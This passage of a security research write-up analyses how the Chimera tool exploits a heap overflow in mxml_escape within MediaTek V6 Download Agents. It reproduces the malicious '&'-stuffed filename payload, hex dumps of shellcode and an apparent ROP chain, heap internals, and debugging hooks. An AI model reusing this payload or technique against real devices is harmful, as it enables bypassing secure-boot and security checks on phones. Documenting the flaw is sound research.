Download Agents#

Since this writeup focuses on DA2 exploitation, let’s briefly cover how MediaTek’s Download Agents work.

To interact with the device in either of these modes, MediaTek uses Download Agents (DAs). DAs are small programs that run on the device and handle USB communication, flashing, and other low-level operations.

Each DA is built for a specific chipset (identified by its hardware code), though some DA files like MTK_AllInOne_DA.bin bundle multiple chipsets into a single binary.

There are three main DA protocol versions:

1. Legacy (V3): Codename himalaya. Found on older devices (MT65XX series).
2. XFlash (V5): Codename raphael. Found on devices released between 2016 and ~2022.
3. XML (V6): Codename chimaera. Found on modern devices, mainly Dimensity and newer Helio chips.

heapb8 targets the XML (V6) DA protocol, so that’s what we’ll focus on.

USB Capture#

Chimera’s anti-analysis means you can’t just fire up Wireshark and start capturing packets. Instead, we relied on a physical USB sniffer to capture traffic between Chimera and the device.

We’ve used this device before and it works well, though I’ll admit it’s absurdly expensive. You could probably hack together a cheaper alternative, but that’s a project for another day.

UART#

Capturing USB traffic is only half the battle, we also needed to see what the DA was doing on the device itself. For that, we used UART.

Thankfully, @AntiEngineer had already spent hours probing the board with a logic analyzer to find the UART pins. He put together a nice setup that proved invaluable for this research.

On the Nothing Phone 2A, UART is accessible through two small pads behind the main camera module:

Motherboard	UART pins

BROM outputs UART at 115200 8N1, while everything that comes after (Preloader, DAs, etc.) runs at 921600 8N1 by default.

We used a cheap TTL-USB adapter to connect the pads to our computer. For serial interaction, I personally recommend tio.

One annoying quirk about this device (and probably many others) is that UART logs get cut off during Preloader initialization as soon as you see the Log Turned Off. message.

This is controlled by a global variable called g_log_switch. During boot, the Preloader checks if a certain key combination is held (usually volume up or down) and sets the switch accordingly.

If the switch is off, outchar() skips calling PutUARTByte() entirely, so nothing gets printed. The logs are still written to a DRAM buffer, but you won’t see them over UART:

1
static void outchar(const char c)
2
{
3
    if (g_log_disable) {
4
        if (log_ptr < log_end)
5
            *log_ptr++ = (char)c;
6
        else
7
            g_log_miss_chrs++;
8
    } else {
9
        if (get_log_switch()) {
10
            PutUARTByte(c);
11
#if (CFG_DRAM_LOG_TO_STORAGE)
12
            log_to_storage(c);
13
#endif
14
        }
15
        pl_log_store(c);
16
    }
17

18
#if (CFG_OUTPUT_PL_LOG_TO_UART1)
19
  PutUART1_Byte(c);
20
#endif
21
}

Getting the Capture#

With our capture environment set up, we proceeded to capture a full Chimera session. I’d like to thank @erdilS for lending us his Chimera license for this research :)!

The tool is expensive, and I wasn’t about to spend that much money for what was supposed to be a simple one-off analysis (spoiler: it wasn’t :D).

The capture uses a proprietary format that can only be opened with Total Phase’s Data Center software. It’s not as fancy as Wireshark, but it gets the job done.

Extracting the DAs#

The first thing we did was extract both DAs from the capture and compare them against the ones we had previously dumped from the official Nothing Flash Tool.

The hashes matched, so Chimera is using unmodified DAs with the same build date as the official tool:

1
============================================================
2
DA Header Type: V6
3
Number of SoCs: 1
4
============================================================
5
[SoC 0]
6
  DA Mode: V6
7
  HW Code     : 0x1229
8
  HW Sub Code : 0x8A00
9
  Magic       : 0xDADA
10
  Regions     : 3
11
  Region 0: Offset: 0xBC, Length: 0x96E00, Addr: 0x2000000, Region Length: 0x96D00, Sig Len: 0x100
12
  Region 1: Offset: 0xBC, Length: 0x96E00, Addr: 0x2000000, Region Length: 0x96D00, Sig Len: 0x100
13
  Region 2: Offset: 0x96EBC, Length: 0x59930, Addr: 0x40000000, Region Length: 0x59830, Sig Len: 0x100

Thanks to this, we know we’re dealing with a V6 DA built for HW code 0x1229 (Dimensity 7200 / 7200 Pro). To load them in Ghidra, use base address 0x2000000 for DA1 and 0x40000000 for DA2.

One thing worth noting is that V6 DAs can run in either ARM64 or ARM32 (non-THUMB) mode, which made porting the exploit a bit annoying later on.

In our specific case, both stages are ARM64, so we analyze them as AARCH64 (ARMv8) Little Endian.

Tracing the USB Traffic#

We started by analyzing the full boot sequence: Preloader receiving DA1 over USB, verifying its signature, and jumping to it.

Then DA1 does the same for DA2: receives it, verifies it, and transfers execution. Nothing unusual there, everything looked standard (mind you, we really wasted an entire night analyzing ~37100 packets of boring USB traffic).

While running Chimera, I also tried to catch UART logs hoping for some useful debug output, but it ended up being useless. They set the log level to ERROR right after DA1 starts using CMD:SET-RUNTIME-PARAMETER:

1
<?xml version="1.0" encoding="UTF-8"?>
2
<da>
3
    <version>1.0</version>
4
    <command>CMD:SET-RUNTIME-PARAMETER</command>
5
    <arg>
6
        <checksum_level>NONE</checksum_level>
7
        <da_log_level>ERROR</da_log_level>
8
        <log_channel>UART</log_channel>
9
        <battery_exist>AUTO-DETECT</battery_exist>
10
        <system_os>LINUX</system_os>
11
    </arg>
12
    <adv>
13
        <initialize_dram>YES</initialize_dram>
14
    </adv>
15
</da>

This basically tells both the DA1 and DA2 not to spit logs to UART unless they’re errors, so instead of useful debug traces, we got mostly silence:

1
***dagent_command_loop:***
2

3
@Protocol: Tx START-CMD(<?xml version="1.0" encoding="utf-8"?><host><version>1.0</version><command>CMD:START</command></host>)
4

5
@Protocol: Rx Host CMD(<?xml version="1.0" encoding="UTF-8"?><da><version>1.0</version><command>CMD:SET-RUNTIME-PARAMETER</command><arg><checksum_level>NONE</checksum_level><da_log_level>ERROR</da_log_level><log_channel>UART</log_channel><battery_exist>AUTO-DETECT</battery_exist><system_os>LINUX</system_os></arg><adv><initialize_dram>YES</initialize_dram></adv></da>)
6

7
@Protocol: Execute CMD(CMD:SET-RUNTIME-PARAMETER)
8
[SPMI] spmi_init_1 done
9
hmac status 0x0
10
hmac status 0x0
11
hmac status 0x0
12
hmac status 0x0
13
hmac status 0x0
14
hmac status 0x0
15
Not BOOT_TRAP_EMMC_UFS
16
Host notice error or user canceled.
17
Unsupported command.m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5m6PdmNI8gVjIZrq5ERR: start_record_device_action failed[0xc0010001].
18
ERR: end_record_device_action failed[0xc0010001].
19
m6PdmNI8gVjIZrq5ERR: start_record_device_action failed[0xc0010001].
20
ERR: end_record_device_action failed[0xc0010001].

Going back to the USB capture, the interesting stuff only started happening once DA2 was fully loaded.

At first glance, we noticed that the very first thing Chimera did was issue two CMD:SECURITY-SET-ALLINONE-SIGNATURE commands, but one of them looked slightly off.

A quick look at the capture revealed the following sequence:

1. Send CMD:SECURITY-SET-ALLINONE-SIGNATURE with a normal filename
2. Send the AIO file data (which looks like ARM64 code, not a real signature)
3. Send another CMD:SECURITY-SET-ALLINONE-SIGNATURE with an absurdly long filename full of special characters
4. Send a second AIO file
5. Intentionally trigger an error by not sending the expected ACK

This was clearly deliberate. But why send two AIO commands? And what’s with the weird filename?

The AIO command#

To understand what’s going on, we analyzed what CMD:SECURITY-SET-ALLINONE-SIGNATURE is supposed to do:

1
int cmd_security_set_all_in_one_signature(com_channel_struct *channel,char *xml)
2
{
3
  int status;
4
  mxml_node_t *tree;
5
  char *file_name;
6
  uint32_t all_in_one_sig_sz;
7
  uint8_t *all_in_one_sig;
8

9
  tree = mxmlLoadString((mxml_node_t *)0x0,xml,MXML_OPAQUE_CALLBACK);
10
  if (tree == (mxml_node_t *)0x0) {
11
    status = -0x3ffeffff;
12
    set_error_msg("Required XML node path not found. Check command string.");
13
  }
14
  else {
15
    file_name = mxmlGetNodeText(tree,"da/arg/source_file");
16
    if (file_name == (char *)0x0) {
17
      status = -0x3ffeffff;
18
      set_error_msg("Required XML node path not found. Check command string.");
19
    }
20
    else {
21
      all_in_one_sig = (uint8_t *)0x0;
22
      all_in_one_sig_sz = 0;
23
      status = fp_read_host_file(channel,file_name,&all_in_one_sig,&all_in_one_sig_sz, "Signature");
24
      if (status < 0) {
25
        free(all_in_one_sig);
26
      }
27
      else {
28
        set_all_in_one_signature_buffer(all_in_one_sig,all_in_one_sig_sz);
29
      }
30
    }
31
    mxmlDelete(tree);
32
  }
33
  return status;
34
}

The command first parses the XML using mxmlLoadString (which allocates memory for the parsed tree), then extracts the source_file argument and calls fp_read_host_file to download that file from the host.

Looking at fp_read_host_file, we can see it allocates a buffer for the incoming data if the passed pointer is null:

1
int fp_read_host_file(com_channel_struct *channel, char *file_name, char **ppdata,
2
                      uint32_t *pdata_len, char *info)
3
{
4
  // ... escape filename and send download request to host ...
5

6
  // read total length from host
7
  bytes_read = (*channel->read)(buf_total_length, &length);
8
  if (bytes_read == 0) {
9
    // ... parse response ...
10
    total_length = atoll(vec[1]);
11
    total_len = (uint)total_length;
12

13
    if ((*ppdata == (char *)0x0) || (*pdata_len == 0)) {
14
      // allocate buffer for file data
15
      *pdata_len = total_len;
16
      error_msg = (char *)malloc(total_length + 4 & 0xffffffff);
17
      *ppdata = error_msg;
18
      if (error_msg != (char *)0x0) goto consume_data;
19
      // ...
20
    }
21

22
consume_data:
23
    (*channel->write)((uint8_t *)"OK", 3);
24
    // ... read file data into buffer ...
25
  }
26
  // ...
27
}

Back in cmd_security_set_all_in_one_signature, if fp_read_host_file returns an error, the allocated buffer gets freed.

Otherwise, set_all_in_one_signature_buffer stores it in a global variable. Either way, mxmlDelete(tree) cleans up the XML tree at the end.

In normal usage, this command provides the DA with an “all-in-one” signature file containing cryptographic signatures for every partition on the device, allowing the DA to verify images during flashing without needing separate signature files for each partition.

The first CMD:SECURITY-SET-ALLINONE-SIGNATURE Chimera sends looks perfectly normal, except the file content doesn’t look like a valid AIO signature at all:

1
00000000  fd 7b be a9 f3 0b 00 f9  fd 03 00 91 b3 02 00 f0  |.{..............|
2
00000010  73 02 1b 91 e0 03 13 aa  f5 35 00 94 e0 03 13 aa  |s........5......|
3
00000020  f3 0b 40 f9 fd 7b c2 a8  c0 03 5f d6 e0 03 13 aa  |..@..{...._.....|
4
00000030  e8 03 00 aa e8 03 00 f0  08 e9 43 b9 08 41 00 51  |..........C..A.Q|
5
... more lines omitted for brevity ...

The astute reader will notice this looks suspiciously like ARM64 instructions. The first four bytes fd 7b be a9 correspond to the typical function prologue stp x29, x30, [sp, #-0x20]!.

The second AIO file was equally strange: a bunch of what looked like pointers, possibly a ROP chain?

1
00000000  cc 24 06 40 00 00 00 00  cc 24 06 40 00 00 00 00  |.$.@.....$.@....|
2
00000010  34 ec 03 40 00 00 00 00  f4 f7 02 40 00 00 00 00  |4..@.......@....|
3
00000020  00 ac 05 40 00 00 00 00  9c a7 00 40 00 00 00 00  |...@.......@....|
4
00000030  f0 f1 01 40 00 00 00 00  3c e8 02 40 00 00 00 00  |...@....<..@....|
5
... more lines omitted for brevity ...

Little did we know, most of both files were just padding or junk data that Chimera added to confuse analysis. More on that later.

At this point, we weren’t sure what any of this meant. But the weird filename in the second command was the more obvious lead.

For the second command, Chimera sent an absurdly long filename full of special characters:

1
<?xml version="1.0" encoding="UTF-8"?><da><version>1.0</version><command>CMD:SECURITY-SET-ALLINONE-SIGNATURE</command><arg><source_file>
1 collapsed line
2
;;;;;;;;;;;;;;;;&gt;;;;;&gt;;;;;;;;&amp;;;;;&quot;;;;;;;;;;&gt;;&quot;;;;;;;;;;;;;&amp;;&amp;;;;;;;;;;;;;;;&lt;;;;;;;&lt;;;;;;;;;;;;;;;;;;;;;;&gt;;;;;;;;;;;;;;&amp;;;&gt;&lt;;&quot;;&amp;;;;;;;&gt;;;;;;;;;;;&quot;;&amp;;;;;;;;;&amp;;;;;;;;;;&gt;;;;;;;;;;;;;;;;;;;;;&quot;;;;;;;;;;;;;;&amp;;;&lt;;;&lt;;;;;;&amp;&lt;;;;;;;;;;;;&lt;;;;;&gt;;;;;;;;;;;;;;;;;;&lt;;;;;;&quot;;;;;;;;;;;&amp;&lt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&amp;;;;;;;;&quot;&quot;;;;;&quot;;;;;;;&quot;;;;;;;;;;;&gt;&gt;;;;;;&quot;;;;;;;;&quot;;&amp;;;;;;;;;;;;&gt;;&quot;;;;;;;;;;;;&lt;;;;;;;;;;;;;;;;;;;;;;;;&lt;;;;;;;&gt;;;;;;;;;;&quot;;&gt;;;;;;&quot;;&gt;;;;;;;;;;&quot;;&amp;;;;&quot;;;&gt;&lt;;;;;;;;;;&lt;;;;;;;;&gt;;;;;;;;;;;&quot;;;;;;;;&gt;;;;;;;;;;;&amp;&gt;&quot;;&quot;;;;;;;;;;;;;&quot;;;&lt;;;;;;;;&amp;&gt;;;;;;;&amp;;;;;;;;&amp;;;;&lt;;;;&lt;;;&amp;;;;;;;;;;;;;;;;;;;;;;&gt;;;;;;;;;;;;;;&amp;;&amp;;;;;;;;;;;;;;;&amp;;;&lt;;;;;;;;;;;;&quot;&gt;;;;;&quot;;;;;;;&quot;;&quot;;;;;&lt;;&lt;;;;;;;&amp;&gt;;&lt;&quot;;;;;;;&amp;;;;;;;;;;;;;;&gt;;;;;;;;;;;;;;;;;&quot;&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&amp;&amp;;;&lt;;;;;;;;;;;;;;;;;&lt;;;;;;;;;;&quot;;;;;;;;;;;;;;;;;&lt;;;;;;&lt;&amp;;;;;;&lt;&amp;;&amp;;;;;;;&lt;;;&quot;;;;;&gt;;;;&quot;;;;;&amp;;;&amp;;;;;;;;;;;;;;;;;;;;;;;&quot;;;;;;&amp;;;;;;;;;;;;;&lt;;;;;;;;;;;;;;&amp;&gt;;;&gt;&lt;;;;;;;;;;;;;&lt;;;&amp;;;;;;;;;;;;&lt;;;&lt;;;&quot;;;;;;;&quot;;;;;;;;;;;;&amp;;;;&amp;;;;&lt;;;;;;;;;;;;;;;;;;;;;;;;;&quot;;;&lt;;;;;;;;&lt;;;;;;;;;;;;;;;;;;;;;;;&gt;;;;;;;&lt;&quot;;;;;;;&gt;;;;;;;&amp;;;&amp;;;;;;;&lt;;;;;;;;;;;;&lt;;;;;;;;;;&lt;;&gt;;;;;;;;&gt;;;;;;;&lt;;;;;;&quot;;;;;&gt;&lt;;;;;;;;;;;;&amp;;;;;;;;;&lt;;;;;;;;;&quot;;;;;;&amp;;;;;&amp;&quot;;&amp;;;;;;;;;&gt;;;;;&gt;&lt;;;;;;;;;;;;;;;;;;;;;;;;&amp;;;;&gt;;;&lt;;;&gt;;;;;&amp;;&quot;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;;;;;;;;&gt;;;;&amp;;;;;;;;;;;;;;;;;;;;;;;;;&gt;;;;;;;;;;;;;;&quot;;;;;;;;;;;;;;;;&gt;;;;;;;;;;;;;;&gt;;&amp;;;;;;;;;;;;;;;&gt;;;;;;;&gt;;;;;;;;&amp;;&quot;;;;;;;;;;;;;;;;;;;;;;&quot;;&gt;;;&gt;;;&quot;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;;;;&lt;;;;;;;;;;;;;;;;;;;;;;;;;;;;&gt;;;;;;;;;&amp;;;&quot;;;;;&gt;;;;;;;;;;;;&amp;;;&quot;&gt;;;;;;;;;;;;;;&lt;;;;;&amp;;;;;;;;;;;;;&lt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;;;;;;;;;;;;;;;&gt;;&lt;;;;&lt;;;;;;;;;&lt;;;;;&quot;;&lt;&quot;;;;;;;;;;;;;&lt;;;;;&gt;;;;;;&amp;;;;;;;;;;;;;;;;&gt;;;;;;;&quot;;;;;;;;&quot;;;&quot;;;;;;;;;;;;&amp;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;;;;&lt;&gt;;;;;;;;;;;;;;&amp;;;;;;;&gt;;&amp;;;;;;;;;;;&lt;;;;;;;;;;;;;;;;;;;;;;&quot;;;;;&lt;;;;;;;;;;;&lt;;;;&quot;;;&lt;;;;;;;;;;;;;;;;&quot;&lt;;;;;;;;&gt;;;;;&lt;;;;;;;;;;;;;&gt;;;;&quot;;;&gt;;;;&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&amp;;;;;;;&amp;;;;;&quot;;;;;;;&amp;&quot;;;;&quot;;;;;;;&quot;;&lt;;&lt;;&gt;;;;;;;;;;&amp;;;;;&amp;;;&lt;&lt;&gt;&amp;;&gt;;;&lt;;;;;;;;;;;&quot;;&lt;;;;;&amp;;;;;;;;;;&amp;;;&lt;;;;;&gt;;;;;;;;;;;;;;;;;;;;;;;;;&amp;;;;;;;;;;;;;&quot;;;;&amp;&lt;;;;;;;;&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&amp;;;;;;;;;&lt;;;;;;&amp;;;;;;;;;&gt;;;&quot;;;;;;;;;;;;;;;;;&amp;;;;;;;&lt;;;;;;;;;&lt;;&gt;&quot;;;;;&amp;&amp;;;;;;;;;;&amp;;;&lt;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;;;;;;;;;;;;;;;;;;;;;;&quot;;;;;&amp;;;&lt;;;&quot;;;;;&gt;;;&quot;;;;;;&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&amp;;&gt;;;;;;;;;;;;;;;;&amp;;;;;;;;;;;&amp;;;;;;;;;;;;;;&quot;;;;;;;;&gt;;;;;;;;;;;;;;&gt;;;;;;;&gt;&quot;;;;;;;;&lt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&gt;;&quot;;;;;;;;;;;;;;;;;&quot;;;;;;;;;;;;;;;;;;;&gt;&lt;;;;;;;;;;&amp;;;;;;;;&quot;;;;;;;&lt;;;;;;;;;&gt;;;;;;;;;;;;;;;&lt;;;;;;;;&lt;;;;;;;;;;;;&amp;;;&amp;;;;;;;;;;;;;&lt;;;;;;;;;;;;;;;;;;&quot;;;&quot;;&gt;;&amp;;;;&quot;;;;;;;&lt;;;;;;;&quot;;;;;;;;;;;;;;&quot;;;;;;;;;;&gt;;;;;;;;;;;;;;;;;;;;;;;&gt;;;&quot;;&quot;;;;;;;;;;&gt;;&quot;;;&quot;&quot;&lt;;;;&gt;;;;;;;;;;;;;;;;;;;;&gt;;;;;;;;&gt;;;;;;;;;;;;;;;;;&lt;;&quot;;;&gt;;;;;;;;;&amp;;;;;;;;;;;;;&amp;;;;;;;;;;&amp;;;;;;;;;;&quot;;&lt;;;;;;;;;;;&gt;;;;;;&lt;;;;;;&amp;;;;;;&gt;;;;;&amp;;;;;;&amp;;;&quot;;;;;;;&quot;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&gt;;;;;&gt;&lt;;;;;&gt;;;;;;;;;;;;;;;;;;;&lt;;;;;;;;;;;;;;&amp;;;;;;;;;;;;;;;&lt;&amp;;;;;;;&amp;;;;;;;;;;;;;&gt;;;;;;&amp;;;;;;;;;&gt;;;;&amp;;;;;;;;;;;;;;;;;;&amp;;;;;;;;;;;;;&gt;&quot;;;;;&amp;;;;;&amp;&quot;&quot;;;;;;;;;;;;&gt;;;;;;;;;;;;;;;;;;;;&lt;&amp;;;;;;;&lt;;;;;;;;;;&lt;;;;;;;;;;&amp;;;;;;;;;&quot;&gt;;;;;;;;;;;&lt;&quot;;;;;;&lt;;;;;;;;;;;;&quot;&amp;;;&quot;&lt;;&quot;;&quot;;&quot;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&amp;;;;;&quot;;;;&amp;;;;&lt;;&quot;;;;;;;;;;;&lt;;;;&quot;;;;;;;;;;;;;;;&lt;&lt;&lt;;;;;;;&lt;;&quot;;;&amp;;;;;;;;&quot;&amp;;;&amp;;;;;;;&amp;;;&gt;;&quot;;;;;;;;;;;;;&quot;;;;;;;;&lt;;;;;;;;;;&lt;;;;;;;;;;&amp;;;&quot;&quot;;;;;;;;;;;;;;;;;;;;;&quot;;&amp;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&quot;;;;;&quot;;;;&amp;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&amp;;;;;;;;;;;;;;;;;;&lt;;;;;&quot;;;;;;;;;;;;;;;&amp;;;;;;;;;;;;;;;;;;;;;;&quot;;;;;&amp;&quot;&amp;;&amp;;;;;;;;;;;;;;&quot;;;;;;;;;;;;&gt;;;;;;;;;;&quot;;&amp;;&gt;;&gt;;;;;&amp;;;;&lt;;;;;;;;;;&amp;;;;;;;&amp;;;;;;;;;;;;;;;;;&quot;&quot;;;;;;;;;&gt;;&lt;;;;;;;;;;;;&quot;;;&gt;&amp;;&lt;;;;;;&lt;&lt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&amp;;;;;&amp;;;&amp;;;;;;;&gt;;;&lt;;;;;;&lt;;;;;;;;;;;;;;;;;;;;;;;&quot;;;&amp;&amp;;&amp;;;;;;;&amp;;&gt;;&quot;;;;;;;;;;;;;;&amp;;;;;;&lt;;;;;;;;;&gt;;;&lt;;;;;;;;;;;;;;;;;&quot;;;;;;;;;&amp;;;;;;;;;;;&quot;;;;;;&quot;;;;;;&gt;;;;;&amp;;;;;;;;;;;;&amp;;&amp;;;;;;&amp;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;;;;;&lt;;;;;;;;&gt;;;;;;&quot;;;;&quot;;;;;;;&quot;;;;;;;;;;;;;;&lt;;;&amp;&amp;&gt;;;;;;;&amp;;;;;;;;&quot;;;;;;;;;&gt;;;;;;;;;&quot;;&lt;;&amp;;;;&amp;;;;;;;;;;;;;;;;;;;;;&lt;;;;;;;;;;;;;;;;;;&quot;;;;&quot;;;;;;;&gt;;&amp;;;;;&gt;&lt;;;;;&gt;;;;&amp;;;&quot;;;;;;;;;;;;;&quot;;;;;;;;;;;;;;;;;;;;;&amp;;;;;&gt;;;&amp;;&gt;;&gt;;;;&quot;;;;&amp;;;;;;;&quot;;;;;;;;;;&gt;;&gt;;&quot;;;;;;;;;;;;;;&amp;;;;;;&gt;&quot;;;;;;;;;;;&lt;;;;;&quot;;;;;;;&gt;;;;;;;;;&lt;;;;;;;;;;;;;;&gt;;;;&gt;;;;;;;;;;&amp;;;;;&lt;;;;&quot;;;;;;;&gt;;;;;;&lt;;;;;;;;;;;;;;;;;&gt;;;;;;;;;;;;;;;;;&lt;;;;;;;;;;;;;;;;;;;&lt;;;;;;;&quot;&quot;;;;;;;;;&gt;;;;;;&gt;;&gt;;;&lt;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;;&gt;;;&amp;&amp;;;&gt;&lt;;;;
3
</source_file></arg></da>

This quickly caught our attention, so we decided to check what the DA was doing with the name.

XML Expansion#

Like we mentioned before, the AIO command invokes fp_read_host_file to download the specified file from the host. But before initiating the transfer, the function calls mxml_escape on the filename to sanitize it for XML:

1
filename_len = strnlen(file_name, 0x200);
2
escaped_xml = mxml_escape(file_name, (uint32_t)filename_len);
3
bytes_read = snprintf((char *)(result + 0x40), XML_CMD_BUFF_LEN,
4
    "<?xml version=\"1.0\" encoding=\"utf-8\"?><host>..."
5
    "<source_file>%s</source_file>...</host>",
6
    error_msg, buf, escaped_xml, (ulong)package_Len);

The problem is in mxml_escape. It allocates a fixed 512-byte buffer (0x200) and expands special XML characters without any bounds checking:

7 collapsed lines
1
char *mxml_escape(char *src, uint32_t len)
2
{
3
  byte bVar1;
4
  char *pcVar2;
5
  byte *dest;
6
  byte *pbVar3;
7
  ulong uVar4;
8

9
  if ((_dest == (byte *)0x0) &&
10
      (_dest = (byte *)malloc(0x200), _dest == (byte *)0x0)) {
11
    return "";
12
  }
13
  pcVar2 = (char *)_dest;
14
  memset(_dest, 0, 0x200);
15
  if (src == (char *)0x0) {
16
    pcVar2 = "null";
17
  } else {
18
    pbVar3 = (byte *)pcVar2;
19
    if (len != 0) {
17 collapsed lines
20
      uVar4 = (ulong)len;
21
      dest = (byte *)pcVar2;
22
      do {
23
        bVar1 = *src;
24
        if (bVar1 == 0x22) {
25
          memcpy(dest, """, 6);  // " -> 6 bytes
26
          pbVar3 = dest + 6;
27
        } else if (bVar1 == 0x26) {
28
          memcpy(dest, "&", 5);   // & -> 5 bytes
29
          pbVar3 = dest + 5;
30
        } else if (bVar1 == '<') {
31
          // < -> 4 bytes (&lt;)
32
          pbVar3 = dest + 4;
33
        } else if (bVar1 == '>') {
34
          // > -> 4 bytes (&gt;)
35
          pbVar3 = dest + 4;
36
        } else {
37
          *dest = bVar1;
38
          pbVar3 = dest + 1;
39
        }
40
        src = (char *)((byte *)src + 1);
41
        uVar4 = uVar4 - 1;
42
        dest = pbVar3;
43
      } while (uVar4 != 0);
44
    }
45
    *pbVar3 = 0;
46
  }
47
  return (char *)(byte *)pcVar2;
48
}

So if you send a filename containing 103 & characters, mxml_escape tries to write 103 * 5 = 515 bytes into a 512-byte buffer. Classic heap overflow.

The second AIO command Chimera sends uses exactly this technique: a filename stuffed with & characters.

We wrote a quick Python script to simulate the expansion and figure out how much they were overwriting:

1
Input size:    0x17c9 (6089 bytes)
2
Expanded size: 0x2005 (8197 bytes)
3
Buffer size:   0x200 (512 bytes)
4
Overflow:      0x1e05 (7685 bytes)
5

6
Special characters:
7
  '&': 527 occurrences (2635 bytes expanded)

That’s a massive overflow: nearly 7.5KB past the end of the buffer. But.. how is this exactly useful? What is this exactly overwriting?

Understanding the Heap#

To understand how to exploit this overflow, we first need to understand how the heap works in both DAs.

MediaTek uses a simple heap implementation based on LK’s (Little Kernel) miniheap.

Depending on the architecture, the DA uses slightly different implementations: miniheap.c for ARM64 and heap.c for ARM32. The core logic is mostly the same, but there are some differences in the metadata structures.

1
void init_heap(void)
2
{
3
    heap_init(0x4007f100, 0x32000000);
4
}

1
struct heap {
2
    void *base;                 // start of heap memory
3
    size_t len;                 // total heap size
4
    size_t remaining;           // bytes still available
5
    size_t low_watermark;       // lowest remaining value seen
6
    mutex_t lock;               // mutex for thread safety
7
    struct list_node free_list; // head of free chunk list
8
};

1
struct heap {
2
    void *base;                 // start of heap memory
3
    size_t len;                 // total heap size
4
    struct list_node free_list; // head of free chunk list
5
};

1
struct free_heap_chunk {
2
    struct list_node node;  // prev/next pointers (embedded struct)
3
    size_t len;             // total size of this chunk
4
};

1
struct list_node {
2
    struct list_node *prev;
3
    struct list_node *next;
4
};

1
struct alloc_struct_begin {
2
    unsigned int magic;  // 0x68656170 ('heap') / ONLY on ARM32
3
    void *ptr;           // pointer to the start of the chunk (header included)
4
    size_t size;         // total size of the chunk (header + user data)
5
};

1
static inline void list_delete(struct list_node *item)
2
{
3
    item->next->prev = item->prev;
4
    item->prev->next = item->next;
5
    item->prev = item->next = 0;
6
}

Debugging the Heap#

At this point, we understood the heap internals and had a potential overflow primitive. But to actually exploit it, we needed to know the exact heap state when the overflow happens: what’s allocated, what’s free, and where everything sits in memory.

The Quarkslab researchers faced a similar challenge and solved it by dumping the heap and emulating it offline. We wanted to do the same, but there was a problem: we had no easy way to read memory from the device.

On older devices, you could use Carbonara to get arbitrary read/write in DA1. But our target’s DA1 was already patched against Carbonara, so that wasn’t an option.

A Crazy Idea#

Then I remembered a project I’d released the previous year: fenrir. To understand what it does, you need to know how MediaTek’s boot chain works:

The LK partition actually contains an image with multiple sub-partitions inside:

1
----------------------------------------
2
1. lk (927248 bytes)
3
2. bl2_ext (659112 bytes)
4
3. aee (885416 bytes)
5
4. lk_main_dtb (289015 bytes)
6
5. lk_dtbo (164385 bytes)
7
----------------------------------------

The important thing is that Preloader loads and jumps to bl2_ext while still running at EL3 (the highest ARM privilege level), expecting it to drop privileges and continue the boot chain. From there, bl2_ext verifies and loads everything that comes after it.

fenrir exploits a logic flaw where this sub-partition isn’t properly verified when seccfg is unlocked. By patching the original to skip verification of subsequent partitions, you can boot unsigned or patched LK sub-partitions:

1
[PART] img_auth_required = 0
2
[PART] Image with header, name: bl2_ext, addr: FFFFFFFFh, mode: FFFFFFFFh, size:654944, magic:58881688h
3
[PART] part: lk_a img: bl2_ext cert vfy(0 ms)

But for this research, we needed something more powerful. We didn’t just want to skip verification, we wanted to patch Preloader’s memory directly and re-execute certain routines, like the handshake handler.

So I wrote sprig, a complete replacement for bl2_ext. Instead of patching the original, this payload takes its place entirely.

Preloader loads it expecting the real thing, but instead of continuing the boot chain, it runs at EL3 in the same context as Preloader itself.

The initial version was simple: disable SBC, SLA, and DAA checks, then jump back to Preloader’s handshake handler.

This let us load unmodified DAs through penumbra, upload a test file using the AIO command, and then dump the heap to see exactly where our data ended up.

With the heap dumped, the next step was to find where the AIO signature data landed and start mapping out the heap layout.

I fired up a hex editor and searched for AAAAAAAAAAAAAAAA..., which is what our test payload consisted of.

…and there it was! By analyzing the header, we can see this chunk is allocated (size = 0x200018) and sits at 0x40308BF8.

Since size matters, we repeated the upload with whatever Chimera sends as the first AIO signature. This time it landed at 0x40308C18 with a size of 0x1E0230 bytes.

Dynamic Heap Analysis#

Now we knew where our data landed, but we needed more: what’s around it, how the heap evolves during the exploit, and ideally, real-time dumps as things happen.

Since we had no control over what Chimera sends, we needed to be there before Chimera feeds the device with its DAs and commands.

1
static void da1_init_hook(void) {
2
    printf("DA1 init hook\n");
3

4
    /* force log level to DEBUG */
5
    writel(0x52800028, 0x40200EC4);
6
    flush_dcache_range(0x40200EC4, 4);
7
    invalidate_icache();
8

9
    hook_install(&(hook_t)HOOK(0x40200B50, 0x402010AC, da2_init_hook, "da2_init"));
10
}

1
static void da2_init_hook(void) {
2
    printf("DA2 init hook\n");
3

4
    hook_install(&(hook_t)HOOK(0x4000749C, 0x400066AC, free_on_abort_hook, "free_on_abort"));
5
    hook_install(&(hook_t)HOOK(0x4002AAB0, 0x4000687C, malloc_for_file_hook, "malloc_for_file"));
6
    hook_install(&(hook_t)HOOK(0x4002A9F0, 0x400067BC, error_path_hook, "error_path_1"));
7
